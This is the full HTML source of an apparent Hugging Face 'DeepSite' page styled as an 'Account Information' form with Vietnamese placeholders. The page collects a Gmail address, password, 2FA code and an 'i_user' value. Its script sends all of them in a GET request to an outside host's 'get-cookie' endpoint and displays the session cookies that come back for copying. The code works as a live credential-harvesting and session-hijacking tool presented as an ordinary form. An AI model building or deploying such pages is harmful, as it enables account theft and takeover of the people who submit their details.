twandxvck / index.html
ShadowVNs's picture
Server Connection Error: Could not establish connection to the API server. Possible causes: 1. Server may be down or unreachable 2. CORS restrictions blocking the request 3. Network firewall/proxy issues 4. Invalid server URL - Follow Up Deployment
88227fd verified
Raw
History Blame Contribute Delete
19 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Account Information Form</title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
/* Enhanced Animation classes */
.animate-fade-in {
animation: fadeIn 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275) forwards;
}
.animate-fade-out {
animation: fadeOut 0.3s cubic-bezier(0.6, -0.28, 0.735, 0.045) forwards;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px) scale(0.95); }
to { opacity: 1; transform: translateY(0) scale(1); }
}
@keyframes fadeOut {
from { opacity: 1; transform: translateY(0) scale(1); }
to { opacity: 0; transform: translateY(-20px) scale(0.9); }
}
/* Enhanced Button animation effects */
.copy-btn {
transition: all 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55);
}
.copy-btn:hover {
transform: scale(1.1) rotate(5deg);
box-shadow: 0 4px 15px rgba(59, 130, 246, 0.3);
}
.copy-btn:active {
transform: scale(0.9) rotate(-5deg);
}
/* Data container animation */
.data-container {
max-height: 0;
overflow: hidden;
transition: max-height 0.5s ease;
border-radius: 0.5rem;
background: linear-gradient(145deg, #f8fafc, #f1f5f9);
box-shadow: inset 0 2px 4px rgba(0,0,0,0.05);
}
.data-container.expanded {
max-height: 500px;
border: 1px solid #e2e8f0;
}
/* Toggle button indicator */
.toggle-btn::after {
content: '+';
display: inline-block;
margin-left: 8px;
transition: transform 0.3s ease;
font-weight: bold;
}
.toggle-btn.expanded::after {
content: '-';
}
/* Form input focus effect */
input:focus {
box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.2);
}
/* Enhanced Loading spinner */
.spinner {
animation: spin 1s linear infinite, pulse 1.5s ease-in-out infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
/* Ripple effect */
.ripple {
position: relative;
overflow: hidden;
}
.ripple-effect {
position: absolute;
border-radius: 50%;
background: rgba(255, 255, 255, 0.4);
transform: scale(0);
animation: ripple 600ms linear;
pointer-events: none;
}
@keyframes ripple {
to {
transform: scale(4);
opacity: 0;
}
}
</style>
</head>
<body class="bg-gray-100 min-h-screen flex items-center justify-center p-4">
<div class="w-full max-w-md bg-white rounded-xl shadow-lg overflow-hidden transform transition-all duration-500 hover:shadow-2xl hover:-translate-y-1">
<div class="bg-blue-600 py-4 px-6">
<h1 class="text-white text-2xl font-bold">Account Information</h1>
<p class="text-blue-100 mt-1">Enter your details below</p>
</div>
<div class="p-6">
<form id="accountForm" class="space-y-4">
<div>
<label for="gmail" class="block text-gray-700 font-medium mb-1">Gmail*</label>
<div class="relative">
<input type="email" id="gmail" required placeholder="Nhập địa chỉ Gmail" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition">
<div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
<i class="fas fa-envelope text-gray-400"></i>
</div>
</div>
</div>
<div>
<label for="password" class="block text-gray-700 font-medium mb-1">Password*</label>
<div class="relative">
<input type="password" id="password" required placeholder="Nhập mật khẩu" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition">
<div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
<i class="fas fa-lock text-gray-400"></i>
</div>
</div>
</div>
<div>
<label for="twoFA" class="block text-gray-700 font-medium mb-1">2FA Code (Optional)</label>
<div class="relative">
<input type="text" id="twoFA" placeholder="Nhập mã 2FA (nếu có)" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition">
<div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
<i class="fas fa-shield-alt text-gray-400"></i>
</div>
</div>
</div>
<div>
<label for="iUser" class="block text-gray-700 font-medium mb-1">i_user (Optional)</label>
<div class="relative">
<input type="text" id="iUser" placeholder="Nhập i_user (nếu có)" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition">
<div class="absolute inset-y-0 right-0 flex items-center pr-3 pointer-events-none">
<i class="fas fa-user-circle text-gray-400"></i>
</div>
</div>
</div>
<button type="submit" class="w-full bg-gradient-to-r from-blue-600 to-blue-500 hover:from-blue-700 hover:to-blue-600 text-white font-medium py-3 px-4 rounded-lg transition-all duration-300 flex items-center justify-center space-x-2 hover:shadow-lg active:scale-95 transform hover:-translate-y-0.5">
<i class="fas fa-paper-plane"></i>
<span>Submit</span>
</button>
</form>
<div class="mt-8">
<button id="toggleDataBtn" class="toggle-btn w-full text-left font-medium text-gray-700 bg-gray-100 hover:bg-gray-200 rounded-lg px-4 py-2 transition">
Generated Data
</button>
<div id="dataContainer" class="data-container mt-2 bg-gray-50 rounded-lg overflow-hidden">
<div class="p-4 relative">
<pre id="generatedData" class="text-sm text-gray-800 overflow-auto max-h-80"></pre>
<button id="copyBtn" class="copy-btn absolute top-2 right-2 bg-blue-100 hover:bg-blue-200 text-blue-800 p-2 rounded-lg transition">
<i class="fas fa-copy"></i>
</button>
</div>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const form = document.getElementById('accountForm');
const toggleBtn = document.getElementById('toggleDataBtn');
const dataContainer = document.getElementById('dataContainer');
const generatedData = document.getElementById('generatedData');
const copyBtn = document.getElementById('copyBtn');
// Toggle data container
toggleBtn.addEventListener('click', function() {
this.classList.toggle('expanded');
dataContainer.classList.toggle('expanded');
});
// Add ripple effect to buttons
function createRipple(event) {
const button = event.currentTarget;
const circle = document.createElement("span");
const diameter = Math.max(button.clientWidth, button.clientHeight);
const radius = diameter / 2;
circle.style.width = circle.style.height = `${diameter}px`;
circle.style.left = `${event.clientX - button.getBoundingClientRect().left - radius}px`;
circle.style.top = `${event.clientY - button.getBoundingClientRect().top - radius}px`;
circle.classList.add("ripple-effect");
const ripple = button.getElementsByClassName("ripple-effect")[0];
if (ripple) ripple.remove();
button.appendChild(circle);
}
// Add ripple class to buttons
document.querySelectorAll('button').forEach(button => {
button.classList.add('ripple');
button.addEventListener('click', createRipple);
});
// Copy data to clipboard
copyBtn.addEventListener('click', function() {
const text = generatedData.textContent;
navigator.clipboard.writeText(text).then(() => {
const originalIcon = this.innerHTML;
this.innerHTML = '<i class="fas fa-check"></i>';
this.classList.remove('bg-blue-100', 'hover:bg-blue-200', 'text-blue-800');
this.classList.add('bg-green-100', 'hover:bg-green-200', 'text-green-800');
setTimeout(() => {
this.innerHTML = originalIcon;
this.classList.remove('bg-green-100', 'hover:bg-green-200', 'text-green-800');
this.classList.add('bg-blue-100', 'hover:bg-blue-200', 'text-blue-800');
}, 2000);
});
});
// Form submission handler
form.addEventListener('submit', async function(e) {
e.preventDefault();
// Show loading state
const submitBtn = form.querySelector('button[type="submit"]');
const originalBtnContent = submitBtn.innerHTML;
submitBtn.innerHTML = '<i class="fas fa-spinner spinner"></i> Processing...';
submitBtn.disabled = true;
try {
// Get form values
const formData = {
gmail: document.getElementById('gmail').value,
password: document.getElementById('password').value,
twoFA: document.getElementById('twoFA').value,
iUser: document.getElementById('iUser').value
};
// Build query parameters
const params = new URLSearchParams();
params.append('username', formData.gmail);
params.append('password', formData.password);
if (formData.twoFA) params.append('twofactor', formData.twoFA);
if (formData.iUser) params.append('i_user', formData.iUser);
// Make API request with GET method with timeout
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 10000); // 10 second timeout
let response;
try {
response = await fetch(`https://ap-iget.vercel.app/api/get-cookie?${params.toString()}`, {
method: 'GET',
mode: 'cors',
headers: {
'Accept': 'application/json'
},
signal: controller.signal
});
} catch (err) {
if (err.name === 'TypeError' && err.message.includes('Failed to fetch')) {
throw new Error('Failed to connect to the server. This could be due to CORS restrictions or server unavailability.');
}
throw new Error(`Network request failed: ${err.message}. Please check your internet connection and try again.`);
}
if (!response.ok) {
let errorDetails = '';
try {
const errorData = await response.json();
errorDetails = errorData.message || errorData.error || '';
if (errorData.details) {
errorDetails += ` (${errorData.details})`;
}
} catch (e) {
errorDetails = await response.text();
}
let errorMessage = `API Error: ${response.status} ${response.statusText}`;
if (errorDetails) {
errorMessage += ` - ${errorDetails}`;
}
throw new Error(errorMessage);
}
clearTimeout(timeoutId); // Clear the timeout if request completes
let dataToDisplay;
try {
dataToDisplay = await response.json();
if (!dataToDisplay) {
throw new Error('Empty response from server');
}
} catch (e) {
throw new Error('Invalid response format from server');
}
// Display the formatted data
generatedData.textContent = JSON.stringify(dataToDisplay, null, 2);
// Expand the data container if not already expanded
if (!dataContainer.classList.contains('expanded')) {
toggleBtn.classList.add('expanded');
dataContainer.classList.add('expanded');
}
// Show success notification
const notification = document.createElement('div');
notification.className = 'fixed top-4 right-4 bg-gradient-to-r from-green-500 to-green-600 text-white px-6 py-3 rounded-xl shadow-xl animate-fade-in transform transition-all duration-300 hover:scale-105 cursor-pointer';
notification.innerHTML = '<i class="fas fa-check-circle mr-2"></i> Data processed successfully!';
document.body.appendChild(notification);
// Remove notification after 3 seconds
setTimeout(() => {
notification.classList.add('animate-fade-out');
setTimeout(() => notification.remove(), 300);
}, 3000);
} catch (error) {
console.error('Error:', error);
// Create error notification
const errorNotification = document.createElement('div');
errorNotification.className = 'fixed top-4 right-4 bg-gradient-to-r from-red-500 to-red-600 text-white px-6 py-3 rounded-xl shadow-xl animate-fade-in transform transition-all duration-300 hover:scale-105 cursor-pointer';
let errorMessage = error.message || 'Failed to fetch data';
// Handle common error cases
if (errorMessage.includes('Failed to connect to the server')) {
errorMessage = 'Server Connection Error: Could not establish connection to the API server. Possible causes:\n1. Server may be down or unreachable\n2. CORS restrictions blocking the request\n3. Network firewall/proxy issues\n4. Invalid server URL';
} else if (errorMessage.includes('Network request failed')) {
errorMessage = 'Network Error: Could not connect to server. Please:\n1. Check your internet connection\n2. Verify the server is online\n3. Try refreshing the page';
} else if (errorMessage.includes('Failed to fetch')) {
errorMessage = 'Connection Error: Please:\n1. Check your internet connection\n2. Disable VPN if using one\n3. Try a different network\n4. Contact support if issue persists';
}
errorNotification.innerHTML = `<i class="fas fa-exclamation-circle mr-2"></i> ${errorMessage.replace(/\n/g, '<br>')}`;
document.body.appendChild(errorNotification);
// Remove notification after 5 seconds
setTimeout(() => {
errorNotification.classList.add('animate-fade-out');
setTimeout(() => errorNotification.remove(), 300);
}, 5000);
} finally {
// Restore button state
submitBtn.innerHTML = originalBtnContent;
submitBtn.disabled = false;
}
});
});
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=ShadowVNs/twandxvck" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>